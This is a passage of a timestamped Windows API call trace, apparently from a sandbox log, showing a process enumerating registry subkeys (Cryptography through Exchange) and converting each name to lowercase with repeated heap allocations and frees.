[0175.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x3ab930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x3ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x3ab930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x3ab930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x3ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x3ab930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x3ab930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x3ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x3ab930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x3ab930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0175.632] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.632] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x3ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x3ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x3ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0175.633] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.633] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x3ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x3ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x3ab930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x3ab930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x3ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.634] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x3ab930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0175.634] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x3ab930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x3ab930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x3ab930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x3ac0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.635] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x3ab930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0175.635] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.636] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x3ab930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, 